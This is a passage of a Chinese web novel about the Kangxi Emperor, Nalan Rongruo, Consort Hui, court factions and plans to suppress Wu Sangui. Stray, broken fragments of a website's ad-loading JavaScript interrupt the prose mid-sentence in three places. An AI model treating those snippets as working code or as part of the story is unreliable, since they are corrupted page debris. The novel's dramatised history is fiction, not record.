玄烨放下棋子,跟惠嫔相视一笑,道:“那太好了,朕现在去看他。” 惠嫔起身:“臣妾恭送皇上。” 路上,顾问行问道:“万岁爷怎么不带上惠嫔娘娘一起去瞧纳兰公子,毕竟是一家人。” “你说什么一家人?”玄烨冷眼对顾问行一扫,“惠嫔是朕的女人,纳兰是朕的陪臣,他俩现在早就不是在明珠府时的关系了。” “奴才矢言,万岁爷莫怪。” “朕不怪你,惠嫔有度,知道自己该向着谁,朕心甚慰。” “纳兰公子喜欢吃的苹果,奴才已经叫人挑了最好的送去。奴才跟送东西的人交待,要说是万岁爷的意思,那人来回了话,说是纳兰公子已经向皇上谢恩了。” “顾总管,难得你有心。苹果是个好东西,平平安安。” “奴才为皇上分忧,为公子尽心,应当的。” * 玄烨踏入慈宁宫侧暖阁后,叫了声“纳兰”,然后就坐到了自己的陪臣的身侧。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>顾总管站在一边,随时“察言观色”伺候这对君臣。 “纳兰你要是再不醒,”玄烨别有用心地一笑,“朕就派人抄了你的家,看看能够得来多少军费。” 顾总管心里一慌:万岁爷的下一句话,不会是想说出“把你气醒”这四个字吧? 纳兰何其聪慧? 一下子就明白了玄烨的意思: 平三藩之事,一年内的军费国库不缺,但是一年打不下来、耗费个两三年,就不好说了。反观三藩,财力可观,不给朝廷纳税纳贡,而向边疆购入矫健的马匹也在情理之中,到时候三藩兵强马壮,朝廷拿什么精锐部队去跟他们打长久战? 纳兰直言道:“皇上早日平藩才是省银子。” ——而不是我家出气。 “看看你这口气,”玄烨指着自己的陪臣,“你的吃穿用度用金子,朕这个九五至尊却是拿银子来衡量了?” 纳兰无奈解释:“臣是口误。” 玄烨不饶:“口误也是罪过。” “皇上想怎么开恩?” “拿你写完后的《明月赋》来谢朕就好。” “那不叫——”纳兰还想再说一次名字俗气,却做了罢,只问,“皇上没别的要求?” “没了,就想跟你在一起说说话。”玄烨朝顾问行一扬手,“顾总管你下去吧!” “奴才在外头候着,万岁爷随时吩咐。” 说罢,顾问行就离开了。 听玄烨说完近来发生的事,纳兰感慨道:“当自己的想法变成别人的难处的时候,我没想到会牵动皇上和半个宫阙。” “朕都没吃过西药,你就敢冒然去太医院找西医要西药,眼里没有朕这个皇上了吗?要经过宫女太监的试药,确保洋方没问题之后,朕才准你吃。” “我不想事事惊动皇上,而且不瞒皇上,我怕时不我待、命不我与,才把疗愈寒疾的希望寄托在西医身上。” 玄烨斩钉截铁地说出这么一句话来:“有朕在,纳兰永远不会死!” “好,我相信皇上,一生做皇上的侧臣、陪伴皇上。” “这可是你自愿的,不是朕逼迫的。” “分明是皇上心里离不开——” “好,那朕也认了:就是离不开,因为天下没有纳兰容若的代替品。”玄烨看着眼前人,“你太独特了,相貌、才情、品行、出身,谁都复刻不出来。” “你躺在床上的时候,念着什么?”玄烨自知之明道,“别说是念着朕,朕知道你没有。” “我没带菩提子手串,念着闻一闻禅香味” 说着,纳兰看向了玄烨手上的十四瓣金刚菩提子手串。 “想要……?” 玄烨把菩提子手串取了下来。 “皇上心甘情愿的话……我就收下。” 纳兰摇摆在不做强求和梦寐以求之间,想着想着,脸上竟然露出一抹笑容来。 这番神情,纯粹的不可思议、坦诚的无以复加。 这番心境,菩提轻尘见立见知、芥子须弥无明为本。 纳兰心中所想: 要是如愿,定要双手合十、诚纳一心去还愿,还自己所思所念之愿;要是成真,定要常摄光明、开行德力去恩谢,恩谢一切自己所感所悟之诸佛。 “快点好起来,到时候再陪朕去练练身手!” 玄烨扶着纳兰躺下,把纳兰心心念念的十四瓣金刚菩提子手串戴在了他的手腕上。 “好好歇着吧!朕陪着你。” 玄烨看着纳兰安然入睡的神情,心中忽然变得无比柔软。 这种感觉: 是叫自己作为一个帝王学着去关心别人。那个人是纳兰,自己不顾一切都要留在身边的纳兰。 伤害他、为难他、刺激他的时候,快感只在一瞬间,马上就会转变为后悔;关心他、成全他、在乎他的时候,喜悦却是真切长久,为他所牵盼他顺遂,好把君臣之间的情分粘合到极致。 玄烨在心中自语: 没办法,谁叫朕的“君臣有别”不能跟纳兰的“忠孝两全”比? 不得解,为何朕的“好胜心”和“高姿态”在纳兰面前,基本无用? 玄烨悄无声息地从纳兰身边离开,顺手带走了一个苹果。 ——纳兰,朕盼着你无病息灾、安然花开。 ——如此,借一物之好寓意,你得“平”安善“果”,朕得大清内外升“平”、“国”政永泰,岂非两全其美? * 秋风过,纱帘开;夕烧处,日暮斜。 淡思绪,着衣领;小坐起,寂君影。 纳兰睡醒,发现手上空了,就明白了: ——朕觉得还没到给你的时候。 ——十四瓣金刚菩提子手串,让皇上一生戴着,比真给了我管用。 纳兰心中有些空寂。 真真是君无戏言,不假。 皇上又没有亲口对我说一个“给”字,我在相信什么? 一刻伴着菩提子入睡,一暮失去菩提子苏醒,得而非所得,失而非所失,只是君臣一场、于情于理都尽在不言中罢了。 纳兰偏着脑袋,右手握着空空的左手手腕,出神看向窗外。 等什么时候有宫女进来的时候,就让宫女去向苏嬷嬷要小鼎木禅香吧,闻着静心凝神,心安则定,神聚则慧,纵有思量,也可随散而去,自消减损。 忽然就想到了惠儿,不,应当叫惠嫔娘娘。 她现在是独自一人坐守深宫?还是跟皇上在一起两相和好? 真想找个机会请了皇上的准—— 去见见她,跟她说说话,看看她身在嫔位的宫装模样,理理她轻妆淡眉的一季思绪。 78.第78章 一段时日后,一处密室。 索党之人因为“太医院的变革”一事而聚在一起。 “如果只是让那三个西医在太医院有立足之地,本官可以忍,毕竟宫里没有几个人敢找他们看病,顶多就是做做摆设、给皇上的‘兼容并包’之策充充颜面。但是——” 索额图“哼”了一声,继续道: “现在的太医院不是人员换血,而是思想重塑和医术互检。这就等于是以内斗治内斗,换了种斗争的形势罢了。你们说,是高明还是反将?在本官的眼里,那些御医谁没有一技之长呢?这自身的本领都要被同僚检查和下结论,真是可悲啊!” 李光地劝道:“索大人,照下官看,这是皇上跟纳兰公子合计的结果,你不接受也要接受,你生气也要息气。” 索额图把杯子里的酒往地上一泼,讥讽道:“贵公子真要是那么有能耐,就该叫明珠在朝堂上给皇上直谏:世道维艰,御医们应当心怀天下,在这些方面着手:研究出治疗天花和瘟疫的偏方、打击民间医骗和医托、破解蛊毒和瘴气、大治莺莺燕燕花楼里的不可说之病……” 索额图复勾嘴一笑,“最好是让御医提前联名给皇上上道折子,劝皇上日后不要去求长生不老药。” 辜鸿玳道:“但是下官等不得不承认贵公子高明啊,与其说是内斗治内斗,不如说是相互监督、相互制约。御医们不会人人自危,毕竟命还在顶戴还在,就冲这两大恩典,他们也是洗心革面和死心塌地朝着皇上的啊!” 兴必察思忖道:“下官以为,贵公子这一招就高在:既为天子笼络了活命的御医们的人心,又为大改太医院的医风医品打下了基础,几乎不用发动外部力量和刑罚,就能让太医院内部消化掉这场矛盾。” “两位大人想错了。”李光地指出,“贵公子这做法不能被称为对太医院上下仁慈,说到底,他还是有自己的心思:为了给天子推仁政和立威望铺路、为了给明珠爬高位和抓权柄奠基,这就是他所谓的忠孝两全。” “呵呵。”索额图失笑,“费神费力的可怜人。” 李光地问:“索大人接下来有何打算?” “我等着领罚,不是有句话叫做‘秋后算账’吗?”索额图的手划过朝珠,“我的心态好得很,不至于严重到哪里去,顶多是在削权的基础上,把曾经贪过的太医院之人的‘孝敬赃款’和自己手里的‘既有存款’拿出来,充充国库当军费罢了。” “索大人怎么会有如此想法?”辜鸿玳递上了一杯新茶,“皇上真想要钱想疯了?” “国库有钱,但是战争烧钱呐!”索额图仍旧是泼茶不喝茶,“军费这东西,算不准的,自然是筹集的越多越好。我不过是成了皇上顺带要钱的先例而已,你们仨等着瞧,过后少不了他明珠也给朝廷贡献上一笔大款。” 李光地大笑,“明珠不是比索大人您有钱多了吗?他名下的营生遍布全国,咱就往近处看:‘饮水词歌·素菜馆’的一桌菜值几金?‘花鸟风月楼’的一情报场子值几金?贵公子和张纯修都是懂得生钱之道的人,能让有需者和贪图新鲜者趋之若鹜,花钱如流水。” 索额图问:“晓得皇上为什么不管吗?晓得廉吏于成龙为什么参奏不了吗?” 李光地故作谦虚:“下官只怕是自己看得浅薄,不敢乱说。” 索额图上前几步,折断了室内的一枝秋菊,道: “不是给贵公子面子,而是为了制衡我。皇上他不想朝堂乱套,所以对我跟明珠的某些不法之行未做刻意追究。等到日后,皇上的翅膀硬了,导火索出来了,我跟明珠的日子就没有现在好过了。” 室内的光阴好似在移动一般,衬托着索党之人内心的波澜。 所谓荣辱与共,索额图过得好自然大家都好,索额图过的危自然大家都危,唯独是揣测皇上的心思这一点,索额图没有输给过明珠,所以未来仍旧可期。 索额图回到桌子边坐下,对其余三人道: “诸位,接下来明珠会为内阁费心,我就在家里督促督促我儿格尔芬备考,不知道比明珠自在多少呢。多事之秋将过,和谐之年会来,这轮回的四季啊,从来都是应时应心。人呐,就该问问自己:错失了秋收要紧吗?不要紧,冬藏储储能量,等到明年再发力、再互较高低就是。” * 容若回家已经三天。 他带回了一些洋方,交给贴身侍女袖云收着,并且把服用方法和用药频次都写下来给了她。 “洋方治头痛管用,对寒疾却是微效。”容若坐在窗边,“温水送服省事,比汉方的煎熬来的快一些。以后我头痛,就吃西药。” “公子该想着以后头痛能好,寒疾能克。” “对我来说,头痛作为寒疾的症状之一,能够用药缓解已是至幸,要说全好是不可能的。神医华佗不也不会治头痛病吗?” “倒像是老爷才是罪魁祸首,常惹公子生出一些之前不曾有过的病痛来。” “官场险恶,伴君如伴虎;交情多变,千人千面难识清。阿玛的情绪除了向家人宣泄和倾诉,还能向谁?心腹和同僚能交谈,却不能交心。所以我跟额娘才更该对明珠大人多做体谅。” “公子想过与父争吵吗?” “没有,因为不值得。”容若捂了捂心脏,“让亲情耗损了心力,并非是我所愿。” “那每每事后,公子对老爷的态度怎么看?” “嗯。”容若微点头,“我总是拿‘还跟以前一样’这句话来说服自己。无法处处疗伤,却能及时止损,无论是我还是阿玛,哪一方都不能继续错下去。” “袖云,你看过我那篇《明月赋》后,觉得怎么样?” “词藻清丽华美,对仗工整合规,既写月亮又写人间事,既颂天上瑶台又颂人间宫阙,最后还表达了对康熙皇帝的咱们和对世道升平的期待,袖云觉得公子写的应制。” 容若笑道:“我也不是全副心思为了完成皇上的旨意而写,但是里面歌颂皇上的话却是真心实意。当今天下不是四海安乐,南方三藩和北方准噶尔都是朝廷的威胁,皇上要是能够平藩和平乱,就是给自己的政绩添了两道光彩,再也没人敢说他是少年天子了。” 袖云捧茶道:“那皇上要亲征,为何太皇太后不许?太祖太宗不是常这么做吗?” 容若接过茶,近盏吹气,道:“因为阿哥们还没长大,等皇上确立了皇太子,把监国的权力交给皇太子的时候,就能够御驾亲征了。可是要说完全没有后顾之忧,也不现实,到时候看皇太子的资质和辅臣的心思,是为了皇上还是僭越皇上。” 袖云把桃酥装了盘,放到茶托旁,“皇上御驾亲征的时候,公子是不是随驾而去?” “我——”容若拿起一块桃酥放在怀纸中,“在自请和听安排之间,大抵是一半一半的机率,都一样。皇上想让我一起并肩杀敌,那我就在君侧护驾;皇上想让我留营写军旅词,那我就在营内完成嘱托;再不济,朝廷又要闹出什么不中听的话来,要求皇上杀了我祭旗,那我就……” “公子千万别说。”袖云素手半掩容若的嘴,“仔细有言灵的。” “也是,我不该说。” 容若专心地品尝起桃酥来,不去想那些没个准的事情了。 * 午后,明珠来了闲情,到房间去看望长公子。 他未带下人也未打招呼,就这么轻步走了进去,竟然看见了一幕没道理发生在“天下的纳兰公子”身上的事情。 不禁在心中暗想:这要是传了出去,珠玉有瑕,叫天下人如何议论我儿容若的“修养”?如何议论我明府的“体统”? 明珠快步上前,禁不住拉了容若一把,问他:“儿啊,你这是在地上做什么?” 容若没有顺明珠的动作,而是仰头看着阿玛:“会试要考的经典早已熟记在心,所以得闲画画地图。” 明珠做出为了颜面的模样,好声劝道:“那你也应当把图纸立起来画,这呆在地上点战道、摆兵阵、设关卡、标城池……像什么样子?” 容若在滇南地区放下一颗石子,认着自己的理儿道:“儿沉浸其中,如同身在前线。阿玛可知道:人在俯视地图的时候,更能够集中精力和想出作战良策,并非是面对挂着的地图可比?” “你要是上战场,那你额娘怕是夜夜不用睡了。” 明珠下意识地想到了夫人,同时又兼顾容若的感受,道: “你这些纸上功夫阿玛没说不好,你一身的武略阿玛也没说不让你去发挥,但是你要是动了南下平藩的心思,到时候就别怪阿玛先去慈宁宫给老祖宗打招呼,把你牢牢地软禁起来!” “儿不瞒阿玛,病好后儿出去透气,陪皇上练了身手,君臣之间说的就是三藩的事。” “你……陪皇上练身手?” “是啊,马上论天下,器中见乾坤。” “你给我起来!”明珠加重口吻,“好好看着你阿玛,好好想着纳兰家的一百余口人,还有……阿玛问你,你的祖王父多尔衮是怎么死的?战死的!” “不,阿玛说错了。”容若纠正道,“祖王父多尔衮是被谁暗算而死的。” “你在暗中调查过了?” “儿有些眉目。” “你到底在干什么?这是你能查的吗?”明珠对着儿子嗔怒一叹,“皇上给多尔衮鸣冤平反了吗?没有!这就说明多尔衮之事不可提、多尔衮之死不可问。” “儿只当是给自己解谜。” “不许!”明珠冷冷一喝,“有些事,你不清楚比清楚要好。” “阿玛也过来坐下。” “容若,你真是越来越没规矩了!”明珠转向侍女,“袖云,你也不知道劝着公子。” “请老爷到公子身边去吧!”侍女侧身相引,“袖云告退。” * 夜间,延禧宫。 玄烨和惠嫔正聊着,顾问行忽然进入殿内,道:“启禀万岁爷,纳兰公子遣人送来了《明月赋》,恭请万岁爷圣阅。” “他怎么不亲自来?”玄烨从双人榻上垂下腿,“怕来的晚就回不去吗?” “回万岁爷,跑腿的人说,这会纳兰公子正跟明珠大人一起跪在纳兰家的祠堂里面对列祖列宗呢,原因不明。” “朕知道,肯定是纳兰性子倔,做了什么在明珠眼里不合家法、不会规矩的事情,明珠舍不得罚他,就只好出了这招。” “这‘明珠家事’可不好管。”顾问行观察着皇上的神情,“不然皇上一声令下,就能罢了明珠父子的跪。” “朕只当纳兰活该!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 玄烨话不应心,“由的他跪个通宵才好。” 惠嫔回圆道:“皇上请看纳兰公子的新作吧!” 玄烨这才解开卷轴上的绳索,在惠嫔移近的烛灯下慢读起纳兰写的骈文来。 《明月赋》,顾名思义写的是跟月亮相关的华美文句。 玄烨心中所期待的,除了纳兰的文采之外,无疑是纳兰对“大清盛世”和“帝王伟业”的歌颂。 果然,在骈文的诸多不经意处,衔接着对“大好山河”和“圣君康熙”的赞美,过度自然,不显做作。 玄烨高兴地把《明月赋》拿给惠嫔看。 “撤藩和平藩之前,朕就需要看这种振奋人心的东西。纳兰把大清描绘的越好、把康熙皇帝捧的越高,朕心里头就越高兴!你会不会觉得朕夹带悲凉,要借此来壮志逸怀?” 惠嫔温和道:“臣妾不敢。纳兰公子写骈文,一半是为自己,一半是为皇上,各取所需,各有所得,就是君臣互好。皇上能够从骈文里汲取动力、振奋精神,就说明《明月赋》是好文章,有生命力,而不是纯粹的词藻堆积,为炫耀文采而写。” 玄烨握着惠嫔的手,“朕把那些佳句和好话都记在脑子里,他日坐镇宫中、隔远指挥战事的不眠之夜,就以《明月赋》作伴。” 惠嫔柔笑道:“臣妾喜欢看皇上自信且有魄力的模样,日后皇上在前朝紧备战事,臣妾就在后宫诚心为皇上祈福。” “只是祈福,岂不是埋没了你的才华?”玄烨别有深意地看着惠嫔,“出身纳兰家的人,谁不聪慧?你表兄如此,你也一样。” “臣妾愿意为皇上分忧,愿意跟皇上共对敌难。”惠嫔恳切道,“皇上要是相信臣妾,就多与臣妾聊聊照着祖制不能聊的话题吧!臣妾不怕背负罪名,但求能为皇上出力。” “你不是先例。”玄烨放下戒备,“太宗皇帝之时,大玉儿是他后宫的谋士,像是劝降洪承畴、牵制代善、解难多尔衮……都是大玉儿的功劳,只可惜,太宗皇帝偏偏只宠爱海兰珠,将女人的温柔似水视作暗夜深宫的抚慰剂。” “皇上跟太皇太后感情深,臣妾明白。”惠嫔知他亦自知,“包括顺治皇帝也一样,喜欢和婉悦己的董鄂妃,甚至为她废后。臣妾庆幸自己的夫君是康熙皇帝,康熙皇帝懂得如何恩泽后宫。” “朕会有度,惠嫔你也要适度,知道吗?”玄烨暗示道,“女子有才是好,作为夫君,一面爱其聪慧、一面又渴其温顺,本就矛盾。聪慧者不爱臣服不爱媚于君,何来温顺?温顺者以倾注感情和忍让求全自保,怎得聪慧?” “那臣妾就做个让皇上可心的女人。”惠嫔面君而笑,“将‘分忧体察’换了‘聪慧敏锐’,将‘本我真我’换了‘温顺恭敬’。” 玄烨认真地看着眼前人:“你心里,真的是只爱朕一个人吗?” 惠嫔坚定地应道:“是,臣妾心里只有皇上。” * 是夜。 玄烨与惠嫔共枕于延禧宫。 玄烨并未完全安睡,身边人是纳兰氏出身的人,她身上多少有些明珠父子的影子,像是明珠的话术和容若的稳重,都无一例外地在她的言行中体现了出来。 躺在纳兰惠儿身边,跟躺在赫舍里皇后身边的感觉完全不一样。就好似:惠嫔像是半个容若,赫舍里像是海兰珠跟董鄂妃的综合那般。 真是:思来想笑,笑语难出;辨之易累,累还觉醒。 ——朕喜欢的是什么样的女人? ——朕看重的是一个妃子的慧根还是性格? 不,都不是。 不,都不重要。 玄烨目光灼灼地看着帐幔之顶,心中诸念交织: 朕只是想做一个征服者。 从朝堂到后宫,从定都燕京到问鼎中原,朕希望完全归己所有的,何止是朝臣们和嫔妃们的人心?何止是寸寸山河的土地?更是天上的一轮明月、赋中的一块天镜。 月远可得,天镜可摘。目之所及,心之所往。 古往今来,承前启后。志之所立,愿之所向。 万世清明,苍生无忧。神之所定,梦之所成。 “朕的为君之道,不近金乌而揽明月;朕的风发意气,不问朱颜而对天镜;朕的满腔抱负,开一赋之盛赞,名定身投,功丰绩著。” “纳兰你看着吧,朕定不会让你在《明月赋》中有一字虚写,有一句虚构。你笔下的康熙皇帝,名符其实,因为你我君臣的宿命,是紧紧绑系在一起的!” 玄烨诗情大发,胸中自成作品一首: 本应同梦枕衾中,相对虚近向帘东。 南藩□□歌折衷,君王思危欲建功。 青山并连影千钟,天地相接目无穷。 明月一赋才思涌,知他绪浓亦非浓。 言己志,最动情怀;吟己诗,最明缘故。 侧臣一卷赋,赞君而晓谕于君;侧妃一席话,为君且暗助于君。 纳兰容若,纳兰惠儿,你俩的“忠君”还真是相似。 都是一心为朕,你俩算不算是“心有灵犀”,只差一对双飞翼? 玄烨翻了个身,下意识地搂住了惠嫔。 有朝一日,朕征服了一个“口中说全心全意爱皇上”,实际却并非如此的女人,能否自称赢了纳兰? 79.第79章 “花鸟风月楼”三楼雅室。 容若一边翻看孔尚任的剧本,一边听张纯修说近期发生的事。 “这座楼阁表面上看着是高朋满座的聚会之所,实际却是在主打情报交易,我的营生也就成了:一边画画、一边赚取些场子费和交易费。我还想着,这些钱款里面要上缴多少给明珠大人合适,容若你是不是给我拿个主意?” “张兄说笑了。”容若把桌面上装着金银的匣子推回,“我阿玛虽然是谈钱,但是更看重手下的人的价值。有用的江湖情报抵万金啊!” 张纯修在容若耳边小声道:“平西王吴三桂私购的马匹,已经是从边疆地区南下了。根据可靠的消息,交易字据当中,吴三桂以‘大周皇帝’自称,说是要争了大清的天下。” “吴三桂买马是错的呀,他应该拿那些从百姓身上搜刮到欠款造船才对。” 容若放下话本子,收了两用的心,集中精力到了话题上。 容若拿笔蘸墨,简单明快地画了张地形图。 “张兄你看,吴三桂的兵力要是登船而上进入黄河流域,从将清廷东南段的漕运截断,那么黄河以北的清廷官员们必乱。我被阿玛罚跪在祠堂的时候,还跟阿玛说,得马上给皇上上道折子:向黄河以北的官员们说清局势,叫他们团结一致御敌,勿让大清被吴三桂的人马和藏身暗处的前明余党所孤立,演变成‘吴三桂逼康熙皇帝退位’的危局。” “等等,”行纯修打断,“明珠大人为什么要罚你跪?” “阿玛不许我去平藩前线。”容若无奈,“我没有听从他的话,他就让我去面对纳兰家的先祖们反省。” “这不是可想而知吗?”张纯修看着翩翩公子,“谁都想保护你,皇上和太皇太后也一样。明知走不出紫禁城,你何必自找苦吃?” “为了这一身作为满人男子的傲骨。”容若给出了一个理由,“可是现在从你那个情报看,吴三桂走的是向长江的骑兵陆路,我真的是为皇上松了一口气。” 此时,一个堂人匆匆来报:“纳兰公子,张先生,楼下有一人自称‘三爷’,要来雅室一坐。” 那个堂人又用双手将一块玉佩呈到纳兰面前,谨慎道:“三爷特别交待,说公子你见了此物就知道他是谁。” 容若看过玉佩,又还了回去,道:“你去请三爷上来,就说纳兰和张先生一并候着。” 堂人走后,张纯修问:“三爷是谁啊?” 容若道:“是皇上,但是张兄你要装作不识他身份,只当他是大清第一贵胄就好。” “没道理呀!”张纯修变得警惕,“皇上怎么知道你在我这儿?” “这你要问他。”容若一耸肩,“但我能猜到:他不但不会明说,更会命令要求我跟他走。” 张纯修惊乍:“你……就这么不得自由?” “谁说的?”容若一笑,“在宫外,在家外,我自然是可以抗旨。” * 容若往楼梯那边一瞧,一并上来的除了“三爷”以外,还有“保镖”曹寅。 这么看,“三爷”也不算私自出宫,他大抵只是感受一下:自己明着“赐给”张纯修、“暗中”却归了明珠所有的楼阁,变成了什么样子罢了。【注1】 “纳兰/草民张纯修,见过三爷。” “我是客,不想反为主。”玄烨客气道,“你俩都坐下说话。” “给三爷看茶。”曹寅冲一个下人吩咐道。 “是,是。”被三爷的气场和曹寅的威断吓了一跳,那下人颤声道,“小的马上去。” “纳兰。”玄烨对着桌面上的地图一瞧,“你有空在这里跟张纯修谈论国家大事,怎么不记得忠君为先?” “事有巨细、人有先后。天子始终都会知道,纳兰不想让自己的观点在天子面前见拙。” “刚才你跟张纯修聊到哪儿了?”玄烨用这扇敲了敲地图面,“接着说就是,三爷我也跟你俩一块聊。” “说到了一个局面。”纳兰看向地图上的长江与黄河,“这儿,吴三桂的骑兵要是在湘楚停驻,咱们清军就应当稳住长江的防线,对吴三桂进行左右夹击,最后集中兵力直捣营点,不给反贼留后路。” “那吴三桂的盟友呢?”玄烨问,“有没有可能联手反击清军一个措手不及?” “我觉得不可能,但是要防。”纳兰分别指了指另外几位藩王的据点,“三爷你想想看,吴三桂本就是一个反复无常之人:先是大明镇守山海关的将领,见清军得势,就投靠了清军反攻于明;等到如今因己之恶触怒了大清、令皇上要想削藩和平藩之际,又打着‘复明’的口号来称帝、来行动……能叫谁信服呢?” “有道理。”玄烨细思,“反复无常的性格,叫敌人忌讳,也叫盟友忌讳。” “所以我认为:吴三桂走称帝之路是最大的败笔,尚之信和耿精忠根本不敢跟大清一较死活,甚至还盼着能被大清原谅,这样一来,只要吴三桂一倒,其子一死,皇上就能彻底完成平藩大业。” 玄烨一惊:“称帝?你如何知道吴三桂有此野心?” 纳兰看向张纯修,张纯修就把那份自己截获的《马匹交易字据》递给三爷,道:“这是吴三桂的亲笔,字里行间可见其对大清的态度和逆反之心。” 玄烨看罢,回头对曹寅道:“你即刻回我家去,告诉我奶奶这天下不太平,叫她保重着自己。” 曹寅立刻应了一声:“是!” 拔腿就跑下了楼梯,他心里明白,要跟孝庄太皇太后说的是: 吴三桂准备称帝;吴三桂的骑兵预备走经过湘楚向长江的错路;吴三桂没打算走向黄河截漕运的对路,所以朝廷有充足的时间和余地反击,必须马上安排部署水师保航道、保航粮,反被动为主动。 玄烨神色严肃地看着眼前人:“假设一切真如你所料,那平藩之后,朝廷应该做什么?” 纳兰调理清晰道:“第一,稳人心,重编和规整战后的八旗,予人身份跟赏罚分明一样重要;第二,原三藩领地,派朝廷军队驻守;第三,昭告天下,三藩已平。另外,需要召见施琅大人,让他早做严训水师、操航舰队、研习水阵的准备,以拿下居占台岛一方的明郑政权。” 玄烨显得振奋,“你说的不错,要是能够在平了三藩的基础上,早日收复台岛,那必将大大促进大清的江山一统!” * 翰林院内,徐乾学跟其他同僚一同商议会试命题之事。 众人笼罩着一股紧张感和不安感,皆因怕把题目拿给康熙皇帝挑选和批示时惹了圣怒。 徐乾学终于抛出了自己的新想法:“如今我们是给朝廷挑人才,往深处去挖掘经典出难题也无妨。照本官看,纯粹的‘断章取义’已经行不通了,过于简单,得想个新题制。” 蔡启僔道:“徐大人要慎重,虽说咱们皇上喜欢改革,但是天下的读书人多半读死书、认死理,你创作了新题、逼着他们用新思路去作答,到时候万一惹的有才华的人交了白卷,重蹈了顺治朝‘吴兆骞’的类案,咱们皇上怪的可不止是那类‘学问存疑’的考生,更是整个翰林院上下。” “蔡大人真是多虑了。”张瞻远笑笑道,“徐大人只是说《四书五经》的填空题要改一改,他还没有大胆到拿了纳兰公子为先例,出这么一道策论题:大明有徐光启西学东渐,将西方自然科学引为国用,试分析康熙朝医规新制——‘洋方’和‘汉方’的孰优孰劣?医为救人之本,论述‘中西医并存’得失。” “爱徒容若生性奔放,面对新鲜事物,无一不是敢为人先地去做首位尝试者,诸位大人可不要被他那副温润谦和的模样给骗了。本官要是拿贵公子的错行来出题,那可是天下读书人的亵渎、对他背后的最大靠山——康熙皇帝的大不敬啊!” 曾姓考官问:“算了吧徐大人,你就承认自己没有碰钉子的胆子不就完了?” “曾大人,洋方不但贵、药效更是猛,天下有几多读书人知道‘西药’和‘西医’为何物?本官何须偏离了儒学正道来涉险夷人夷术?” “倒也是,这题使不得。”曾姓考官斟酌道,“策论的五道大题,咱们还得好好计议。” 徐乾学忽然对蔡启僔请示道:“敢问蔡大人,这有关前明王朝的事例分析,策论题目是命得,还是命不得啊?” 蔡启僔当机立断:“吴三桂打着‘复明’得旗号要反,徐大人要是因为一道题煽动了某些应试者的反逆之心,岂非罪过?” “蔡大人提醒的是。”徐乾学捋须点头,复铿锵有力道,“身为文臣,我等不可置国情于不顾!” 张瞻远问:“徐大人,你打算如何‘割裂’《四书五经》的填空题啊?” 徐乾学站了起来,朗朗道:“儒家经典内涵深邃,字字句句自然是改不得。但是,为了考察举人们对《四书五经》的理解深度和全面性,可以变着戏法来给他们设难。本官称之为:题长法和截搭题。” “还请徐大人往深处去说。” “题长法,乃是将《四书五经》的片段交织重组,结合起来设置填空题。截搭题,乃是将原本的字句重新组合,来重新考察举人们的脑袋瓜子。” “徐大人不妨给我等举个例子来说说——” 徐乾学便拿起了毛笔,在白纸上写道: 君子不以其_____者害人。二三子何患乎无君我。【注2】 末物本有,事终有始。_____,则矣道近。【注3】 林姓考官反对道:“徐大人,你这简直荒谬!试探汉人考生也就罢了,这般钻牛角尖来设题,满蒙考生当中,除了纳兰性德和索二公子,怕是无人能答!” “纳兰性德面面俱到而答,索二公子天马行空而答,那也比别的无从作答的考生优秀啊!” 张瞻远反倒是觉得徐乾学此招甚妙,第一个举手赞成。 曾姓考官道:“下官也认为徐大人的新题制可行,可以上报皇上定夺。” 蔡启僔思量道:“徐大人之策,新奇归新奇,但是难度甚高。本官只怕会在有意无意之间,击破了某些考生的心理防线,令的考场里多添了几个疯子。” 徐乾学反问:“疯魔的考生本就不适合做官,能够借机甄别而出,不是好事吗?” “唉!”蔡启僔一叹,“本官已经不知道……徐大人你这是选人还是害人了。” “蔡大人,任何新招出来都要检证不是吗?不试试看,怎么知道好坏?”徐乾学稍做让步,“顶多是到时候阅卷,看到包括我爱徒容若在内、也无一人能够准确作答的结果之后,再收回此改制不迟。” 此时,举棋不定的翰林院众大儒们哪里知道: 今科所提出的“题长法”和“截搭题”的两种命题模式,承接明制而难于明制,一经提出就被康熙皇帝所采纳,其影响力,一直持续到了咸丰王朝。 * 宋应星得到吴三桂要反的消息后,心中难抑投靠之情。 他叫来沈宛,问沈宛对事情的看法。 “师傅对现状不满足吗?”沈宛反问,“风清云朗可在屋内安心著述,自耕自种可得足够食粮,对弈黑白可品神思逸趣……为何还要去做按《清律》要杀头的事?” “我只是难以放下对故国之思罢了。”宋应星站在比一人还高的蜀葵面前,“我不怕以身殉国,怕的是无颜面对九泉之下的家人和友人。” “师傅应当多想想大清的好!”沈宛客观道,“康熙皇帝少年有为,推行之策皆是利国利民;清官总比污吏多,老百姓有冤可伸,商贾们有理可讲,衙门明镜高悬;汉人不见得活的比满人差,相互往来之众益多,相互尊重之辈日增,相互称友之士渐聚。这都是可以感受得到的事实,师傅没有必要因为坚守信念,而误了自己的后半辈子。” 宋应星踱步到石桌边坐下,看着桌面上的几个秋梨,缄默不语。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 俗话说:居安思危。 那么,风平浪静的日子到底是应当珍惜和满足?还是应当为日后可能会发生的祸患后有所忧虑? 吴三桂要想夺取天下,靠的必是武力,可惜他有夺位之勇却无治理天下之才。康熙皇帝要想保住帝位,靠的必是敏锐判断,他的身边能臣不少,只要勤于纳谏,总能择一良策实现自己的抱负。 自己要是真的为了一时的骨气和勇气,厚着脸皮去到吴三桂手下效力,没准一无所得不说,还会因此丧命,果真是不值得。千错万错,千恨万恨,还是埋在心里,等到了人生落幕之际再重理吧! “御婵,我年少之时学文习武,为的是报效祖国。等到风云变化,大清入关征服了大明以后,我的志向和活下去的意义就全都变了。我甚至变得有时候自己也认不清自己:安排眼线监视紫禁城的风吹草动、虚但着名声笼络遭遇相似的文人们、与徐乾学相勾结,不想让康熙皇帝的文治大略顺利……我所得的,是否件件都是错事?” 问罢,宋应星垂首。 他那已经渐渐老去的容颜,逆着天光云影,暗淡无神。 沈宛道:“师傅所做的一切安排,虽不是光明正大,但也在情理之中。师傅你只是困于自己的心魔、而不愿意说服自己走出来罢了。” 